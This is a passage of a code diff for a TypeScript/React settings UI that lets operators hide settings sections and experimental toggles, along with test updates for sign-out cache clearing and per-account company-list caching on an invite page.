+    expect(container.textContent).toContain("Beta skills");
+    expect(container.textContent).toContain("Task Watchdogs");
+  });
+
+  it("shows every toggle when nothing is hidden", async () => {
+    await renderPage();
+
+    expect(container.textContent).toContain("Enable Environments");
+    expect(container.textContent).toContain("Beta skills");
+  });
+});
diff --git a/ui/src/pages/InstanceExperimentalSettings.tsx b/ui/src/pages/InstanceExperimentalSettings.tsx
index 5307e87ddd9..284fed071b9 100644
--- a/ui/src/pages/InstanceExperimentalSettings.tsx
+++ b/ui/src/pages/InstanceExperimentalSettings.tsx
@@ -4,11 +4,14 @@ import { AlertTriangle, Clock, FlaskConical, Lock, Play, Search } from "lucide-r
 import type {
   InstanceExperimentalSettings,
   InstanceExperimentalSettingsWithManaged,
+  InstanceFeatureKey,
   IssueGraphLivenessAutoRecoveryPreview,
   ManagedSettingMetadata,
   PatchInstanceExperimentalSettings,
 } from "@paperclipai/shared";
+import { experimentalSettingKey } from "@paperclipai/shared";
 import { instanceSettingsApi } from "@/api/instanceSettings";
+import { useHiddenSettings } from "@/hooks/useHiddenSettings";
 import { getWorktreeInstanceId, isWorktreeRuntime } from "../lib/worktree-branding";
 import { useBreadcrumbs } from "../context/BreadcrumbContext";
 import { queryKeys } from "../lib/queryKeys";
@@ -92,6 +95,7 @@ function ExperimentalToggleCard({
   checked,
   onCheckedChange,
   disabled,
+  settingKey,
   managed,
   ariaLabel,
 }: {
@@ -101,10 +105,14 @@ function ExperimentalToggleCard({
   checked: boolean;
   onCheckedChange: (checked: boolean) => void;
   disabled: boolean;
+  /** Flag key backing this card; operator-hidden keys render nothing. */
+  settingKey: InstanceFeatureKey;
   managed?: ManagedSettingMetadata;
   ariaLabel: string;
 }) {
+  const { hidden: hiddenSettings } = useHiddenSettings();
   const isManaged = managed?.managed === true;
+  if (hiddenSettings.has(experimentalSettingKey(settingKey))) return null;
   return (
     <Card className="block p-5">
       <div className="flex items-start justify-between gap-4">
@@ -234,7 +242,6 @@ export function InstanceExperimentalSettings() {
   useEffect(() => {
     setBreadcrumbs([
       { label: "Settings", href: "/company/settings" },
-      { label: "Instance settings", href: "/company/settings/instance/general" },
       { label: "Experimental" },
     ]);
   }, [setBreadcrumbs]);
@@ -427,7 +434,7 @@ export function InstanceExperimentalSettings() {
   }
 
   return (
-    <div className="max-w-4xl space-y-6">
+    <div className="max-w-6xl space-y-6">
       <div className="space-y-2">
         <div className="flex items-center gap-2">
           <FlaskConical className="h-5 w-5 text-muted-foreground" />
@@ -466,6 +473,7 @@ export function InstanceExperimentalSettings() {
         checked={enableApps}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableApps: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableApps"
         managed={managedKeys.enableApps}
         ariaLabel="Toggle apps experimental setting"
       />
@@ -566,6 +574,7 @@ export function InstanceExperimentalSettings() {
         checked={autoRestartDevServerWhenIdle}
         onCheckedChange={(checked) => toggleMutation.mutate({ autoRestartDevServerWhenIdle: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="autoRestartDevServerWhenIdle"
         managed={managedKeys.autoRestartDevServerWhenIdle}
         ariaLabel="Toggle guarded dev-server auto-restart"
       />
@@ -576,6 +585,7 @@ export function InstanceExperimentalSettings() {
         checked={enableBetaSkills}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableBetaSkills: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableBetaSkills"
         managed={managedKeys.enableBetaSkills}
         ariaLabel="Toggle beta skills experimental setting"
       />
@@ -586,6 +596,7 @@ export function InstanceExperimentalSettings() {
         checked={enableBuiltInAgents}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableBuiltInAgents: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableBuiltInAgents"
         managed={managedKeys.enableBuiltInAgents}
         ariaLabel="Toggle built-in agents experimental setting"
       />
@@ -597,6 +608,7 @@ export function InstanceExperimentalSettings() {
         checked={enableCases}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableCases: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableCases"
         managed={managedKeys.enableCases}
         ariaLabel="Toggle cases experimental setting"
       />
@@ -608,6 +620,7 @@ export function InstanceExperimentalSettings() {
         checked={enableClassicTaskInterface}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableClassicTaskInterface: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableClassicTaskInterface"
         managed={managedKeys.enableClassicTaskInterface}
         ariaLabel="Toggle classic task interface experimental setting"
       />
@@ -619,6 +632,7 @@ export function InstanceExperimentalSettings() {
           checked={enableConferenceRoomChat}
           onCheckedChange={(checked) => toggleMutation.mutate({ enableConferenceRoomChat: checked })}
           disabled={toggleMutation.isPending}
+          settingKey="enableConferenceRoomChat"
           managed={managedKeys.enableConferenceRoomChat}
           ariaLabel="Toggle conference room chat experimental setting"
         />
@@ -630,6 +644,7 @@ export function InstanceExperimentalSettings() {
         checked={enableDecisions}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableDecisions: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableDecisions"
         managed={managedKeys.enableDecisions}
         ariaLabel="Toggle decisions experimental setting"
       />
@@ -640,6 +655,7 @@ export function InstanceExperimentalSettings() {
         checked={enableEnvironments}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableEnvironments: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableEnvironments"
         managed={managedKeys.enableEnvironments}
         ariaLabel="Toggle environments experimental setting"
       />
@@ -650,6 +666,7 @@ export function InstanceExperimentalSettings() {
         checked={enableExternalObjects}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableExternalObjects: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableExternalObjects"
         managed={managedKeys.enableExternalObjects}
         ariaLabel="Toggle external objects experimental setting"
       />
@@ -660,6 +677,7 @@ export function InstanceExperimentalSettings() {
         checked={enableIsolatedWorkspaces}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableIsolatedWorkspaces: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableIsolatedWorkspaces"
         managed={managedKeys.enableIsolatedWorkspaces}
         ariaLabel="Toggle isolated workspaces experimental setting"
       />
@@ -670,6 +688,7 @@ export function InstanceExperimentalSettings() {
         checked={enableExperimentalFileViewer}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableExperimentalFileViewer: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableExperimentalFileViewer"
         managed={managedKeys.enableExperimentalFileViewer}
         ariaLabel="Toggle experimental file viewer setting"
       />
@@ -680,18 +699,20 @@ export function InstanceExperimentalSettings() {
         checked={enableGoalsSidebarLink}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableGoalsSidebarLink: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableGoalsSidebarLink"
         managed={managedKeys.enableGoalsSidebarLink}
         ariaLabel="Toggle goals sidebar link experimental setting"
       />
 
       <ExperimentalToggleCard
-        title="Managed Sandbox Only"
-        description="Hide the local environment and run all agents in the platform-managed sandbox environment."
+        title="Managed Environment Only"
+        description="Hide the local environment and run all agents in the platform-managed environment."
         checked={enableManagedSandboxOnly}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableManagedSandboxOnly: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableManagedSandboxOnly"
         managed={managedKeys.enableManagedSandboxOnly}
-        ariaLabel="Toggle managed sandbox only experimental setting"
+        ariaLabel="Toggle managed environment only experimental setting"
       />
 
       {inWorktree ? (
@@ -757,6 +778,7 @@ export function InstanceExperimentalSettings() {
         checked={enableServerInfoDebugView}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableServerInfoDebugView: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableServerInfoDebugView"
         managed={managedKeys.enableServerInfoDebugView}
         ariaLabel="Toggle server info debug view experimental setting"
       />
@@ -769,6 +791,7 @@ export function InstanceExperimentalSettings() {
           toggleMutation.mutate({ enableSimplifiedEnglishInteractions: checked })
         }
         disabled={toggleMutation.isPending}
+        settingKey="enableSimplifiedEnglishInteractions"
         managed={managedKeys.enableSimplifiedEnglishInteractions}
         ariaLabel="Toggle simplified english interactions experimental setting"
       />
@@ -779,6 +802,7 @@ export function InstanceExperimentalSettings() {
         checked={enableSmokeLab}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableSmokeLab: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableSmokeLab"
         managed={managedKeys.enableSmokeLab}
         ariaLabel="Toggle smoke lab experimental setting"
       />
@@ -796,6 +820,7 @@ export function InstanceExperimentalSettings() {
           )
         }
         disabled={toggleMutation.isPending || statusCardsBlockedByManagedSummaries}
+        settingKey="enableStatusCards"
         managed={managedKeys.enableStatusCards}
         ariaLabel="Toggle status cards experimental setting"
       />
@@ -813,6 +838,7 @@ export function InstanceExperimentalSettings() {
           )
         }
         disabled={toggleMutation.isPending || summariesRequiredByManagedStatusCards}
+        settingKey="enableSummaries"
         managed={managedKeys.enableSummaries}
         ariaLabel="Toggle summaries experimental setting"
       />
@@ -823,6 +849,7 @@ export function InstanceExperimentalSettings() {
         checked={enableIssuePlanDecompositions}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableIssuePlanDecompositions: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableIssuePlanDecompositions"
         managed={managedKeys.enableIssuePlanDecompositions}
         ariaLabel="Toggle task plan decomposition panel experimental setting"
       />
@@ -833,6 +860,7 @@ export function InstanceExperimentalSettings() {
         checked={enableTaskWatchdogs}
         onCheckedChange={(checked) => toggleMutation.mutate({ enableTaskWatchdogs: checked })}
         disabled={toggleMutation.isPending}
+        settingKey="enableTaskWatchdogs"
         managed={managedKeys.enableTaskWatchdogs}
         ariaLabel="Toggle task watchdogs experimental setting"
       />
diff --git a/ui/src/pages/InstanceGeneralSettings.test.tsx b/ui/src/pages/InstanceGeneralSettings.test.tsx
index 9eff02c7a1b..87cc64f2e44 100644
--- a/ui/src/pages/InstanceGeneralSettings.test.tsx
+++ b/ui/src/pages/InstanceGeneralSettings.test.tsx
@@ -84,6 +84,7 @@ describe("InstanceGeneralSettings sign-out", () => {
       );
     });
     await vi.waitFor(() => expect(container.textContent).toContain("Deployment and auth"));
+    expect(container.querySelector('[data-slot="card"]')).toBeNull();
   }
 
   function signOutButton() {
@@ -101,17 +102,27 @@ describe("InstanceGeneralSettings sign-out", () => {
     expect(mockAuthApi.signOut).not.toHaveBeenCalled();
   });
 
-  it("keeps authenticated self-hosted sign-out local and invalidates auth caches", async () => {
+  it("keeps authenticated self-hosted sign-out local and drops the account caches", async () => {
     const invalidateQueries = vi.spyOn(queryClient, "invalidateQueries");
     await renderPage(SELF_HOSTED_HEALTH);
+    queryClient.setQueryData(queryKeys.auth.session, { session: { id: "session-1" } });
+    queryClient.setQueryData(queryKeys.companies.all, {
+      companies: [{ id: "company-a", name: "Account A Co" }],
+      unauthorized: false,
+    });
 
     flushSync(() => signOutButton()?.click());
 
     await vi.waitFor(() => expect(mockAuthApi.signOut).toHaveBeenCalledOnce());
-    await vi.waitFor(() => expect(invalidateQueries).toHaveBeenCalledWith({
-      queryKey: queryKeys.auth.session,
-    }));
+    // Account-scoped entries are cleared outright, not marked stale — a stale
+    // entry keeps serving the previous account's data until a refetch succeeds.
+    await vi.waitFor(() =>
+      expect(queryClient.getQueryData(queryKeys.auth.session)).toBeUndefined(),
+    );
+    expect(queryClient.getQueryData(queryKeys.companies.all)).toBeUndefined();
+    // Health describes the instance, so it is refreshed rather than dropped.
     expect(invalidateQueries).toHaveBeenCalledWith({ queryKey: queryKeys.health });
+    expect(queryClient.getQueryData(queryKeys.health)).toEqual(SELF_HOSTED_HEALTH);
     expect(mockNavigateTopLevel).not.toHaveBeenCalled();
   });
 
@@ -194,3 +205,67 @@ describe("InstanceGeneralSettings sign-out", () => {
     await vi.waitFor(() => expect(signOutButton()?.disabled).toBe(false));
   });
 });
+
+describe("InstanceGeneralSettings operator-hidden sections", () => {
+  let container: HTMLDivElement;
+  let root: Root | null;
+  let queryClient: QueryClient;
+
+  beforeEach(() => {
+    container = document.createElement("div");
+    document.body.appendChild(container);
+    root = null;
+    queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    mockInstanceSettingsApi.getGeneral.mockResolvedValue({
+      censorUsernameInLogs: false,
+      keyboardShortcuts: false,
+      feedbackDataSharingPreference: "not_allowed",
+      backupRetention: { dailyDays: 7, weeklyWeeks: 4, monthlyMonths: 1 },
+    });
+  });
+
+  afterEach(() => {
+    flushSync(() => root?.unmount());
+    queryClient.clear();
+    container.remove();
+    vi.clearAllMocks();
+  });
+
+  async function renderPage(health: Record<string, unknown>) {
+    mockHealthApi.get.mockResolvedValue(health);
+    queryClient.setQueryData(queryKeys.health, health);
+    root = createRoot(container);
+    flushSync(() => {
+      root?.render(
+        <QueryClientProvider client={queryClient}>
+          <InstanceGeneralSettings />
+        </QueryClientProvider>,
+      );
+    });
+    await vi.waitFor(() => expect(container.textContent).toContain("Keyboard shortcuts"));
+  }
+
+  it("hides an operator-hidden field-backed section and a UI-only section", async () => {
+    await renderPage({
+      ...SELF_HOSTED_HEALTH,
+      hiddenSettings: [
+        "instance.general.censorUsernameInLogs",
+        "instance.general.deploymentStatus",
+      ],
+    });
+
+    expect(container.textContent).not.toContain("Censor username in logs");
+    expect(container.textContent).not.toContain("Deployment and auth");
+    expect(container.textContent).toContain("Backup retention");
+    expect(container.textContent).toContain("AI feedback sharing");
+    expect(container.textContent).toContain("Sign out");
+  });
+
+  it("shows every section when nothing is hidden", async () => {
+    await renderPage(SELF_HOSTED_HEALTH);
+
+    expect(container.textContent).toContain("Deployment and auth");
+    expect(container.textContent).toContain("Censor username in logs");
+    expect(container.textContent).toContain("Backup retention");
+  });
+});
diff --git a/ui/src/pages/InstanceGeneralSettings.tsx b/ui/src/pages/InstanceGeneralSettings.tsx
index 1580f279ea8..a3f5d0cccd2 100644
--- a/ui/src/pages/InstanceGeneralSettings.tsx
+++ b/ui/src/pages/InstanceGeneralSettings.tsx
@@ -12,7 +12,6 @@ import { healthApi } from "@/api/health";
 import { instanceSettingsApi } from "@/api/instanceSettings";
 import { ModeBadge } from "@/components/access/ModeBadge";
 import { Button } from "../components/ui/button";
-import { Card } from "@/components/ui/card";
 import { useBreadcrumbs } from "../context/BreadcrumbContext";
 import { queryKeys } from "../lib/queryKeys";
 import { ToggleSwitch } from "@/components/ui/toggle-switch";
@@ -21,7 +20,7 @@ import { useSignOut } from "@/hooks/useSignOut";
 
 const FEEDBACK_TERMS_URL = import.meta.env.VITE_FEEDBACK_TERMS_URL?.trim() || "https://paperclip.ing/tos";
 
-export function InstanceGeneralSettings() {
+export function InstanceGeneralSettings({ embedded = false }: { embedded?: boolean }) {
   const { setBreadcrumbs } = useBreadcrumbs();
   const queryClient = useQueryClient();
   const [actionError, setActionError] = useState<string | null>(null);
@@ -29,12 +28,12 @@ export function InstanceGeneralSettings() {
   const signOutMutation = useSignOut();
 
   useEffect(() => {
+    if (embedded) return;
     setBreadcrumbs([
       { label: "Settings", href: "/company/settings" },
-      { label: "Instance settings" },
       { label: "General" },
     ]);
-  }, [setBreadcrumbs]);
+  }, [embedded, setBreadcrumbs]);
 
   const generalQuery = useQuery({
     queryKey: queryKeys.instance.generalSettings,
@@ -62,7 +61,7 @@ export function InstanceGeneralSettings() {
     },
   });
 
-  if (generalQuery.isLoading) {
+  if (generalQuery.isLoading || healthQuery.isLoading) {
     return <div className="text-sm text-muted-foreground">Loading general settings...</div>;
   }
 
@@ -80,6 +79,22 @@ export function InstanceGeneralSettings() {
   const keyboardShortcuts = generalQuery.data?.keyboardShortcuts === true;
   const feedbackDataSharingPreference = generalQuery.data?.feedbackDataSharingPreference ?? "prompt";
   const backupRetention: BackupRetentionPolicy = generalQuery.data?.backupRetention ?? DEFAULT_BACKUP_RETENTION;
+  const hiddenSettings = new Set(healthQuery.data?.hiddenSettings ?? []);
+  const showDeploymentStatus = !hiddenSettings.has("instance.general.deploymentStatus");
+  const showCensorUsernameInLogs = !hiddenSettings.has("instance.general.censorUsernameInLogs");
+  const showKeyboardShortcuts = !hiddenSettings.has("instance.general.keyboardShortcuts");
+  const showBackupRetention = !hiddenSettings.has("instance.general.backupRetention");
+  const showFeedbackDataSharing = !hiddenSettings.has("instance.general.feedbackDataSharingPreference");
+  const showSignOut = !hiddenSettings.has("instance.general.signOut");
+  const visibleTopics = [
+    ...(showCensorUsernameInLogs ? ["log display"] : []),
+    ...(showKeyboardShortcuts ? ["keyboard shortcuts"] : []),
+    ...(showBackupRetention ? ["backup retention"] : []),
+    ...(showFeedbackDataSharing ? ["data sharing"] : []),
+  ];
+  const topicSummary = visibleTopics.length > 2
+    ? `${visibleTopics.slice(0, -1).join(", ")}, and ${visibleTopics[visibleTopics.length - 1]}`
+    : visibleTopics.join(" and ");
   const visibleActionError = signOutMutation.error instanceof Error
     ? signOutMutation.error.message
     : signOutMutation.error
@@ -87,17 +102,19 @@ export function InstanceGeneralSettings() {
       : actionError;
 
   return (
-    <div className="max-w-4xl space-y-6">
-      <div className="space-y-2">
-        <div className="flex items-center gap-2">
-          <SlidersHorizontal className="h-5 w-5 text-muted-foreground" />
-          <h1 className="text-lg font-semibold">General</h1>
+    <div className={embedded ? "space-y-8" : "max-w-4xl space-y-8"}>
+      {!embedded ? (
+        <div className="space-y-2">
+          <div className="flex items-center gap-2">
+            <SlidersHorizontal className="h-5 w-5 text-muted-foreground" />
+            <h1 className="text-lg font-semibold">General</h1>
+          </div>
+          <p className="text-sm text-muted-foreground">
+            Configure instance-wide preferences
+            {visibleTopics.length > 0 ? <> including {topicSummary}</> : null}.
+          </p>
         </div>
-        <p className="text-sm text-muted-foreground">
-          Configure instance-wide preferences including log display, keyboard shortcuts, backup
-          retention, and data sharing.
-        </p>
-      </div>
+      ) : null}
 
       {visibleActionError && (
         <div className="rounded-md border border-destructive/40 bg-destructive/5 px-3 py-2 text-sm text-destructive">
@@ -105,7 +122,8 @@ export function InstanceGeneralSettings() {
         </div>
       )}
 
-      <Card className="block p-5">
+      {showDeploymentStatus && (
+      <section>
         <div className="space-y-3">
           <div className="flex items-center gap-2">
             <h2 className="text-sm font-semibold">Deployment and auth</h2>
@@ -136,9 +154,11 @@ export function InstanceGeneralSettings() {
             />
           </div>
         </div>
-      </Card>
+      </section>
+      )}
 
-      <Card className="block p-5">
+      {showCensorUsernameInLogs && (
+      <section>
         <div className="flex items-start justify-between gap-4">
           <div className="space-y-1.5">
             <h2 className="text-sm font-semibold">Censor username in logs</h2>
@@ -155,9 +175,11 @@ export function InstanceGeneralSettings() {
             aria-label="Toggle username log censoring"
           />
         </div>
-      </Card>
+      </section>
+      )}
 
-      <Card className="block p-5">
+      {showKeyboardShortcuts && (
+      <section>
         <div className="flex items-start justify-between gap-4">
           <div className="space-y-1.5">
             <h2 className="text-sm font-semibold">Keyboard shortcuts</h2>
@@ -173,9 +195,11 @@ export function InstanceGeneralSettings() {
             aria-label="Toggle keyboard shortcuts"
           />
         </div>
-      </Card>
+      </section>
+      )}
 
-      <Card className="block p-5">
+      {showBackupRetention && (
+      <section>
         <div className="space-y-5">
           <div className="space-y-1.5">
             <h2 className="text-sm font-semibold">Backup retention</h2>
@@ -275,9 +299,11 @@ export function InstanceGeneralSettings() {
             </div>
           </div>
         </div>
-      </Card>
+      </section>
+      )}
 
-      <Card className="block p-5">
+      {showFeedbackDataSharing && (
+      <section>
         <div className="space-y-4">
           <div className="space-y-1.5">
             <h2 className="text-sm font-semibold">AI feedback sharing</h2>
@@ -297,7 +323,7 @@ export function InstanceGeneralSettings() {
             ) : null}
           </div>
           {feedbackDataSharingPreference === "prompt" ? (
-            <div className="rounded-lg border border-border/70 bg-accent/20 px-3 py-2 text-sm text-muted-foreground">
+            <div className="rounded-lg bg-accent/20 px-3 py-2 text-sm text-muted-foreground">
               No default is saved yet. The next thumbs up or thumbs down choice will ask once and
               then save the answer here.
             </div>
@@ -351,9 +377,12 @@ export function InstanceGeneralSettings() {
             chosen yet.
           </p>
         </div>
-      </Card>
+      </section>
 
-      <Card className="block p-5">
+      )}
+
+      {showSignOut && (
+      <section>
         <div className="flex items-start justify-between gap-4">
           <div className="space-y-1.5">
             <h2 className="text-sm font-semibold">Sign out</h2>
@@ -374,16 +403,17 @@ export function InstanceGeneralSettings() {
             {signOutMutation.isPending ? "Signing out..." : "Sign out"}
           </Button>
         </div>
-      </Card>
+      </section>
+      )}
     </div>
   );
 }
 
 function StatusBox({ label, value }: { label: string; value: string }) {
   return (
-    <div className="rounded-lg border border-border bg-background px-3 py-3">
+    <div className="space-y-1">
       <div className="text-xs font-medium uppercase tracking-wide text-muted-foreground">{label}</div>
-      <div className="mt-2 text-sm font-medium">{value}</div>
+      <div className="text-sm font-medium">{value}</div>
     </div>
   );
 }
diff --git a/ui/src/pages/InstanceSettings.tsx b/ui/src/pages/InstanceSettings.tsx
index c0ce3823a32..77d371a731b 100644
--- a/ui/src/pages/InstanceSettings.tsx
+++ b/ui/src/pages/InstanceSettings.tsx
@@ -17,7 +17,6 @@ function asRecord(value: unknown): Record<string, unknown> | null {
   if (typeof value !== "object" || value === null || Array.isArray(value)) return null;
   return value as Record<string, unknown>;
 }
-
 function humanize(value: string) {
   return value.replaceAll("_", " ");
 }
diff --git a/ui/src/pages/InviteLanding.test.tsx b/ui/src/pages/InviteLanding.test.tsx
index 8dd88e17237..cd59f514091 100644
--- a/ui/src/pages/InviteLanding.test.tsx
+++ b/ui/src/pages/InviteLanding.test.tsx
@@ -41,6 +41,7 @@ vi.mock("../api/health", () => ({
 vi.mock("../api/companies", () => ({
   companiesApi: {
     list: () => listCompaniesMock(),
+    detachInflightList: () => undefined,
   },
 }));
 
@@ -495,7 +496,7 @@ describe("InviteLandingPage", () => {
     expect(acceptInviteMock).toHaveBeenCalledWith("pcp_invite_test", { requestType: "human" });
     expect(setSelectedCompanyIdMock).toHaveBeenCalledWith("company-1", { source: "manual" });
     expect(queryClient.getQueryState(queryKeys.access.currentBoardAccess)?.isInvalidated).toBe(true);
-    expect(queryClient.getQueryData(queryKeys.companies.all)).toMatchObject({
+    expect(queryClient.getQueryData(queryKeys.companies.list("user-1"))).toMatchObject({
       companies: [],
       unauthorized: false,
     });
@@ -548,22 +549,22 @@ describe("InviteLandingPage", () => {
     expect(container.textContent).toContain("Request to join Acme Robotics");
     expect(container.textContent).toContain("A company admin must approve your request to join.");
     expect(container.textContent).toContain(
-      "Ask them to visit Company Settings → Members to approve your request.",
+      "Ask them to visit Settings → Members to approve your request.",
     );
     expect(container.querySelector('img[alt="Acme Robotics logo"]')).not.toBeNull();
     expect(container.textContent).not.toContain("http://localhost/company/settings/members");
 
-    // The "Company Settings → Members" guidance addresses the company admin,
+    // The "Settings → Members" guidance addresses the company admin,
     // not the requester. It must render as plain text so the requester cannot
     // navigate themselves to /company/settings/members — a route they have no
     // permission to view, which renders a misleading "No company access"
     // panel and makes the invite flow look broken. See #6784.
     const approvalAnchors = Array.from(container.querySelectorAll("a")).filter(
-      (link) => link.textContent === "Company Settings → Members",
+      (link) => link.textContent === "Settings → Members",
     );
     expect(approvalAnchors).toHaveLength(0);
     const approvalMentions =
-      container.textContent?.match(/Company Settings → Members/g) ?? [];
+      container.textContent?.match(/Settings → Members/g) ?? [];
     expect(approvalMentions).toHaveLength(2);
 
     await act(async () => {
@@ -755,7 +756,7 @@ describe("InviteLandingPage", () => {
     });
     expect(acceptInviteMock).not.toHaveBeenCalled();
     expect(setSelectedCompanyIdMock).toHaveBeenCalledWith("company-1", { source: "manual" });
-    expect(queryClient.getQueryData(queryKeys.companies.all)).toMatchObject({
+    expect(queryClient.getQueryData(queryKeys.companies.list("user-1"))).toMatchObject({
       companies: [{ id: "company-1", name: "Acme Robotics" }],
       unauthorized: false,
     });
@@ -766,6 +767,231 @@ describe("InviteLandingPage", () => {
     });
   });
 
+  // The `["companies"]` cache entry is shared app-wide and carries no account
+  // identity, so a list fetched moments ago for a different account is still inside
+  // the app-wide staleTime. Membership decisions on this page — the post-sign-in
+  // redirect, the "already a member" panel, and clearing the pending invite token —
+  // must run against a list fetched for the account that is signed in now.
+  describe("membership checks against a previous account's cached company list", () => {
+    const PREVIOUS_ACCOUNT_COMPANIES = [{ id: "company-1", name: "Acme Robotics" }];
+
+    // Mirrors the app-wide default in main.tsx. Without it every cache entry is
+    // stale on read and the staleness these tests cover cannot occur.
+    // `ownerId` is whose list this warm entry is. Since #11488 the entry is keyed
+    // by account, so "a list left by a previous account" means putting it under
+    // that account's key — which is also why the page can no longer reach it.
+    // `null` is the signed-out / local_trusted key.
+    function createAppLikeQueryClient(ownerId: string | null) {
+      const queryClient = new QueryClient({
+        defaultOptions: { queries: { retry: false, staleTime: 30_000 } },
+      });
+      queryClient.setQueryData(queryKeys.companies.list(ownerId), {
+        companies: PREVIOUS_ACCOUNT_COMPANIES,
+        unauthorized: false,
+      });
+      return queryClient;
+    }
+
+    it("re-reads membership for the account that just signed in", async () => {
+      getSessionMock.mockResolvedValueOnce(null);
+      getSessionMock.mockResolvedValue({
+        session: { id: "session-2", userId: "user-2" },
+        user: {
+          id: "user-2",
+          name: "Sam Example",
+          email: "sam@example.com",
+          image: null,
+        },
+      });
+      // The account signing in here has no companies of its own.
+      listCompaniesMock.mockResolvedValue([]);
+      acceptInviteMock.mockResolvedValue({
+        id: "join-1",
+        companyId: "company-1",
+        requestType: "human",
+        status: "pending_approval",
+      });
+
+      const root = createRoot(container);
+      const queryClient = createAppLikeQueryClient("user-1");
+
+      await act(async () => {
+        root.render(
+          <MemoryRouter initialEntries={["/invite/pcp_invite_test"]}>
+            <QueryClientProvider client={queryClient}>
+              <Routes>
+                <Route path="/invite/:token" element={<InviteLandingPage />} />
+              </Routes>
+            </QueryClientProvider>
+          </MemoryRouter>,
+        );
+      });
+      await flushReact();
+      await flushReact();
+
+      const inputValueSetter = Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, "value")?.set;
+      const existingAccountButton = Array.from(container.querySelectorAll("button")).find(
+        (button) => button.textContent === "I already have an account",
+      );
+      await act(async () => {
+        existingAccountButton?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+      });
+      await flushReact();
+
+      const emailInput = container.querySelector('input[name="email"]') as HTMLInputElement | null;
+      const passwordInput = container.querySelector('input[name="password"]') as HTMLInputElement | null;
+
+      await act(async () => {
+        inputValueSetter!.call(emailInput, "sam@example.com");
+        emailInput!.dispatchEvent(new Event("input", { bubbles: true }));
+        inputValueSetter!.call(passwordInput, "supersecret");
+        passwordInput!.dispatchEvent(new Event("input", { bubbles: true }));
+      });
+
+      const authForm = container.querySelector('[data-testid="invite-inline-auth"]') as HTMLFormElement | null;
+      await act(async () => {
+        authForm?.dispatchEvent(new Event("submit", { bubbles: true, cancelable: true }));
+      });
+      await flushReact();
+      await flushReact();
+      await flushReact();
+      await flushReact();
+
+      expect(signInEmailMock).toHaveBeenCalledWith({
+        email: "sam@example.com",
+        password: "supersecret",
+      });
+      // The cached list was refused, not read as proof of membership.
+      expect(listCompaniesMock).toHaveBeenCalled();
+      expect(queryClient.getQueryData(queryKeys.companies.list("user-2"))).toMatchObject({
+        companies: [],
+        unauthorized: false,
+      });
+      // The previous account's entry is untouched — and unreachable from here.
+      expect(queryClient.getQueryData(queryKeys.companies.list("user-1"))).toMatchObject({
+        companies: PREVIOUS_ACCOUNT_COMPANIES,
+      });
+      expect(setSelectedCompanyIdMock).not.toHaveBeenCalled();
+      expect(acceptInviteMock).toHaveBeenCalledWith("pcp_invite_test", { requestType: "human" });
+      expect(container.textContent).toContain("Request to join Acme Robotics");
+
+      await act(async () => {
+        root.unmount();
+      });
+    });
+
+    it("re-reads membership on mount for an already signed-in account", async () => {
+      getSessionMock.mockResolvedValue({
+        session: { id: "session-2", userId: "user-2" },
+        user: {
+          id: "user-2",
+          name: "Sam Example",
+          email: "sam@example.com",
+          image: null,
+        },
+      });
+      listCompaniesMock.mockResolvedValue([]);
+      acceptInviteMock.mockResolvedValue({
+        id: "join-1",
+        companyId: "company-1",
+        requestType: "human",
+        status: "pending_approval",
+      });
+
+      const root = createRoot(container);
+      const queryClient = createAppLikeQueryClient("user-1");
+
+      await act(async () => {
+        root.render(
+          <MemoryRouter initialEntries={["/invite/pcp_invite_test"]}>
+            <QueryClientProvider client={queryClient}>
+              <Routes>
+                <Route path="/invite/:token" element={<InviteLandingPage />} />
+              </Routes>
+            </QueryClientProvider>
+          </MemoryRouter>,
+        );
+      });
+      await flushReact();
+      await flushReact();
+      await flushReact();
+      await flushReact();
+
+      expect(listCompaniesMock).toHaveBeenCalled();
+      expect(container.textContent).not.toContain("Already in this company");
+      expect(acceptInviteMock).toHaveBeenCalledWith("pcp_invite_test", { requestType: "human" });
+      expect(container.textContent).toContain("Request to join Acme Robotics");
+
+      await act(async () => {
+        root.unmount();
+      });
+    });
+
+    it("keeps the pending invite token when the session has lapsed", async () => {
+      // Session gone server-side, previous account's list still warm in the cache.
+      // Nobody is signed in, so nothing here proves membership — the token has to
+      // survive for the sign-in that follows.
+      getSessionMock.mockResolvedValue(null);
+
+      const root = createRoot(container);
+      const queryClient = createAppLikeQueryClient("user-1");
+
+      await act(async () => {
+        root.render(
+          <MemoryRouter initialEntries={["/invite/pcp_invite_test"]}>
+            <QueryClientProvider client={queryClient}>
+              <Routes>
+                <Route path="/invite/:token" element={<InviteLandingPage />} />
+              </Routes>
+            </QueryClientProvider>
+          </MemoryRouter>,
+        );
+      });
+      await flushReact();
+      await flushReact();
+      await flushReact();
+
+      expect(container.querySelector('[data-testid="invite-inline-auth"]')).not.toBeNull();
